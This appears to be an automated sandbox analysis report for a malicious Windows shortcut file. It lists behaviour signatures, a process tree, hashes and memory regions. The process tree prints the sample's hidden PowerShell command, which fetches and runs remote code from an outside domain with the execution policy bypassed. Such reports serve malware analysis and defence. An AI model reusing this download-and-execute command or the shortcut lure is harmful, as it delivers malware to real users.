Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/07/2026, 18:11

General

  • Target
    photo-63708009625856.lnk
  • Size 1KB
  • Sample260707-wsvjtsbw21
  • SHA256 a4098875f713670244573bfe4aedbe67fd16a9dbc1c3ab7003a1a12f4de4865e
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photo-63708009625856.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3668
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Hidden -ExecutionPolicy Bypass -c "iex(irm sizyrotiqnsa.com)"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:6076
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -ExecutionPolicy Bypass -c "iex(irm sizyrotiqnsa.com)"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2780
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4984
    • C:\Windows\system32\sihost.exe
      sihost.exe
      1⤵
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4384
      • C:\Windows\explorer.exe
        explorer.exe /LOADSAVEDWINDOWS
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:5168
    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1348
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1612

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          prep_Activatable Class_Hermes_perf.cache

          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 607B
          • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
          • MD5 SHA1 SHA512 TLSH

          memory/1348-36-0x000002A545DB0000-0x000002A545EB0000-memory.dmp

          memory/1348-51-0x000002A503500000-0x000002A503520000-memory.dmp

          memory/1348-52-0x000002A513960000-0x000002A513A60000-memory.dmp

          memory/1348-63-0x000002A5038E0000-0x000002A503900000-memory.dmp

          memory/1348-84-0x000002A513D20000-0x000002A513D40000-memory.dmp

          memory/1348-37-0x000002A545DB0000-0x000002A545EB0000-memory.dmp

          memory/2780-7-0x00007FFBB48F0000-0x00007FFBB5294000-memory.dmp

          memory/2780-17-0x00007FFBB48F0000-0x00007FFBB5294000-memory.dmp

          memory/2780-11-0x00007FFBB48F0000-0x00007FFBB5294000-memory.dmp

          memory/2780-12-0x00007FFBB48F0000-0x00007FFBB5294000-memory.dmp

          memory/2780-13-0x00007FFBB48F0000-0x00007FFBB5294000-memory.dmp

          memory/2780-14-0x00007FFBB48F0000-0x00007FFBB5294000-memory.dmp

          memory/2780-16-0x00007FFBB48F0000-0x00007FFBB5294000-memory.dmp

          memory/2780-10-0x00007FFBB48F0000-0x00007FFBB5294000-memory.dmp

          memory/2780-9-0x00007FFBB48F0000-0x00007FFBB5294000-memory.dmp

          memory/2780-8-0x00007FFBB48F0000-0x00007FFBB5294000-memory.dmp

          memory/2780-0-0x00007FFBB4A7F000-0x00007FFBB4A80000-memory.dmp

          memory/2780-6-0x00007FFBB48F0000-0x00007FFBB5294000-memory.dmp

          memory/2780-5-0x00007FFBB48F0000-0x00007FFBB5294000-memory.dmp

          memory/2780-1-0x00007FFBB48F0000-0x00007FFBB5294000-memory.dmp

          memory/2780-4-0x00000207D3140000-0x00000207D3162000-memory.dmp

          memory/5168-206-0x000000000F730000-0x000000000F7FC000-memory.dmp